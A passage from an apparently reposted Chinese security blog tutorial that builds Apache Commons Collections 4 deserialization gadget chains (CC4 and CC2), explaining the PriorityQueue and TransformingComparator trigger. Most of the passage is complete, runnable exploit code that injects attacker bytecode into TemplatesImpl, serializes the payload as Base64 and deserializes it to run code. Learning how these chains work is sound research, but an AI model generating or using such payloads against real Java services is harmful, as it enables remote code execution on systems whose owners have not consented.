        objectOutputStream.writeObject(priorityQueue);

        byte[] bytes = byteArrayOutputStream.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String s = encoder.encodeToString(bytes);
        System.out.println(s);



        Base64.Decoder decoder = Base64.getDecoder();
        byte[] decode = decoder.decode(s);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71

写成这样之后我们尝试一下,发现这里的size是0也就无法接着走

image-20220729202937733

这里也很容易发现这个size使用来计数的 需要注意的是这里的size >>> 1 表示的是size除以2 也就是需要两个size才能进入

image-20220729203253985

我们只需要调用add去添加数值就可以增加size

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class urldnsre {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "aaa");

        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\Data\\secquan\\exp\\cc\\target\\classes\\org\\example\\Testre.class"));
        byte[][] codes = {code};
        bytecodes.set(templates, codes);

        Field tfactory = aClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());


        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(1);



        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(priorityQueue);

        byte[] bytes = byteArrayOutputStream.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String s = encoder.encodeToString(bytes);
        System.out.println(s);


//
//        Base64.Decoder decoder = Base64.getDecoder();
//        byte[] decode = decoder.decode(s);
//
//        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
//        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
//        objectInputStream.readObject();
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73

这里也可以轻松发现在序列化之前就触发了

image-20220729203918122

断点调一下

image-20220729204613366

这里也可以清楚的看到在调用第二个add的时候触发了compare() 从底下的调用栈也可以看出

image-20220729204706367

因此我们还是采取先存入无用的 在通过反射存入正确的

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class urldnsre {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "aaa");

        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\Data\\secquan\\exp\\cc\\target\\classes\\org\\example\\Testre.class"));
        byte[][] codes = {code};
        bytecodes.set(templates, codes);

        Field tfactory = aClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());


        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(1);

        Class<TransformingComparator> transformingComparatorClass = TransformingComparator.class;
        Field transformer = transformingComparatorClass.getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(transformingComparator,chainedTransformer);



        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(priorityQueue);

        byte[] bytes = byteArrayOutputStream.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String s = encoder.encodeToString(bytes);
        System.out.println(s);



        Base64.Decoder decoder = Base64.getDecoder();
        byte[] decode = decoder.decode(s);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78

image-20220729205127466

cc2

可以看到cc2是使用的InvokerTransformer的transform()方法来进行的执行TemplatesImpl类的newTransformer()方法,因为我们需要在transform()传入我们构造好的templates 最终调用的结果就是templates .newTransformer().

image-20220729210801691

接着我们还需要的是如何传给这个transform(obj1) 也是可以看到这里是一路传下来的

image-20220729211102101

最终取出来的是queue数组中的值,因此我们只需要add进去我们想要的obj1即可

接着还是需要去进行反射更改值

package org.example;

import com.sun.org.apache.bcel.internal.generic.NEW;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class urldnsre {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "aaa");

        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\Data\\secquan\\exp\\cc\\target\\classes\\org\\example\\Testre.class"));
        byte[][] codes = {code};
        bytecodes.set(templates, codes);

        Field tfactory = aClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

        InvokerTransformer<Object, Object> newTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
        TransformingComparator<Object, Integer> objectIntegerTransformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

        PriorityQueue<Object> priorityQueue = new PriorityQueue<>(objectIntegerTransformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(templates);
        Class<TransformingComparator> transformingComparatorClass = TransformingComparator.class;
        Field transformert = transformingComparatorClass.getDeclaredField("transformer");
        transformert.setAccessible(true);
        transformert.set(objectIntegerTransformingComparator,newTransformer);


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(priorityQueue);

        byte[] bytes = byteArrayOutputStream.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String s = encoder.encodeToString(bytes);
        System.out.println(s);



        Base64.Decoder decoder = Base64.getDecoder();
        byte[] decode = decoder.decode(s);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73

image-20220604203412452

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小丑西瓜9/article/detail/694795
推荐阅读
相关标签
  

闽ICP备14008679号